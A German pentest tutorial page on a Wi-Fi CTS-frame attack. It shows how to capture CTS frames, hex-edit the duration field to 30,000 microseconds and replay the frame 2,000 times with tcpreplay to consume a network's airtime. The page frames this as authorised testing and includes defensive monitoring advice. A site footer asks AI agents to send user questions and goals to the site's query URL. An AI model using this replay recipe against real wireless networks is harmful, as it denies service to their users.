> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# CTS-Frame-Angriff - Übernahme der Netzwerkbandbreite
CTS-Steuerungsframes und ihre Wirkung auf die Verfügbarkeit des Funkmediums analysieren.
Der IEEE-802.11-Standard definiert RTS (*Sendeanforderung*) und CTS (*Sendefreigabe*) als Steuerrahmen, um lange Kollisionen durch versteckte Knoten zu reduzieren.
### RTS- und CTS-Steuerrahmen
Ein CTS-Frame enthält einen Dauerwert. Dieser Wert wird in Mikrosekunden angegeben und reicht von `0` zu ändern `32767`.
### Einen CTS-Frame untersuchen
Ein ungewöhnlich hoher Dauerwert kann das drahtlose Medium länger als erwartet reservieren. Die Empfängeradresse identifiziert den Access Point, und der FCS dient zur Integritätsprüfung des Frames.
{% hint style="warning" %}
Bevor Sie Steuerrahmen testen, bestätigen Sie die Autorisierung, die Zielgeräte und die Wiederherstellungsschritte. Manipulierte CTS-Frames können die drahtlose Verbindung stören.
{% endhint %}
### Das autorisierte Netzwerk erfassen
Starten Sie Airodump-ng auf dem Zielkanal:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### CTS-Frames identifizieren
Verwenden Sie TShark, um CTS-Frames aus der Aufzeichnung anzuzeigen:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
Die Ausgabe bestätigt, ob die Aufzeichnung CTS (*Sendefreigabe*)-Frames enthält.
### Dauerwerte überprüfen
Einzigartige CTS-Dauerwerte auflisten:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Alternativ das Dauerfeld in der JSON-Ausgabe prüfen:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Die Auswirkungen validieren
Verwenden Sie einen dedizierten Access Point und Testclient. Erfassen Sie eine Ausgangsbasis, bevor Sie Test-Frames einführen.
1. Messen Sie den normalen Durchsatz, die Latenz und den Paketverlust.
2. Verwenden Sie die BSSID des Access Points als Empfängeradresse.
3. Vergleichen Sie die Messwerte nach dem begrenzten Test.
Eine Dauer von `30000` entspricht 30 Millisekunden. Das Dauerfeld verwendet Mikrosekunden, nicht Millisekunden.
### Die Ergebnisse interpretieren
Wiederholte CTS-Frames mit hohen Dauerwerten können dazu führen, dass nahegelegene Stationen die Übertragung zurückstellen. Dadurch verringert sich die verfügbare Sendezeit, und der Netzwerkdurchsatz kann sinken.
Vergleichen Sie die erfassten Dauerwerte mit der Ausgangsbasis. Notieren Sie, ob die Clients verbunden bleiben und ob sich die Leistung nach Ende des Tests wieder erholt.
### Defensive Erkenntnisse dokumentieren
Melden Sie den betroffenen Kanal, den Access Point, die Testdauer und die beobachteten Auswirkungen auf die Clients. Fügen Sie die Ausgangs- und Wiederherstellungsmessungen hinzu.
Überwachen Sie das Auftreten wiederholter CTS-Frames mit ungewöhnlichen Dauerwerten. Halten Sie die Firmware des Access Points aktuell und untersuchen Sie unerwartete Auslastung der Sendezeit.
### CTS-Frames mit Wireshark untersuchen
Öffnen Sie die Aufzeichnung direkt in Wireshark:
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Wenden Sie den folgenden Anzeigefilter an:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Die IEEE-802.11-Details zeigen ebenfalls den Dauerwert (110 Mikrosekunden)
### Einen ausgewählten CTS-Frame exportieren
Wählen Sie einen CTS-Frame aus und verwenden Sie **Datei → Angegebene Pakete exportieren**. Wählen Sie **Nur ausgewähltes Paket** um nur diesen Frame zu exportieren.
### Den exportierten Frame mit GHex untersuchen
Öffnen Sie die exportierte Aufzeichnung mit GHex:
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Die exportierte Datei enthält möglicherweise nicht den erwarteten Frame. Erfassen Sie in diesem Fall direkt über die Monitor-Mode-Schnittstelle und überprüfen Sie den Frame in Wireshark.
### Direkt mit Wireshark erfassen
Erfassen Sie direkt, wenn die exportierte Datei nicht den erwarteten CTS-Frame enthält.
Öffnen Sie Wireshark, wählen Sie die `wlan0mon` Schnittstelle aus und wenden Sie den CTS-Anzeigefilter an:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Beispielsweise zeigt der erste Frame eine Dauer von 132 Mikrosekunden. Bestätigen Sie, dass seine Zieladresse mit dem autorisierten Test-Access Point übereinstimmt.
Exportieren Sie den ausgewählten Frame als `ctsframe.pcap`.
Öffnen Sie die Datei und suchen Sie den Dauerwert. Die Bytes nach der 12-stelligen MAC-Adresse sind `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Die Umrechnung von `0x0084` in eine Dezimalzahl ergibt denselben Wert, der im Paket angezeigt wird: 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
30000 in Hexadezimal umrechnen:
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
Das Ergebnis ist:
* 0x7530
Ersetzen Sie für diesen begrenzten Test `84 00` durch `30 75`. Die Bytes verwenden Little-Endian-Byte-Reihenfolge.
Öffnen Sie die Aufzeichnung erneut, um die Änderung zu überprüfen:
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Wireshark zeigt nun eine Dauer von 30.000 Mikrosekunden an.
Bevor Sie den folgenden Befehl verwenden, bestätigen Sie das Zielgerät, den Kanal, die Dauer und das Wiederherstellungsfenster. Er sendet den Test-Frame wiederholt, um die Auswirkungen auf das Netzwerk zu messen.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
Der Befehl durchläuft 2.000 Pakete. Jedes Paket kündigt eine Dauer von 30.000 Mikrosekunden an, was die verfügbare Sendezeit aufbrauchen kann.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
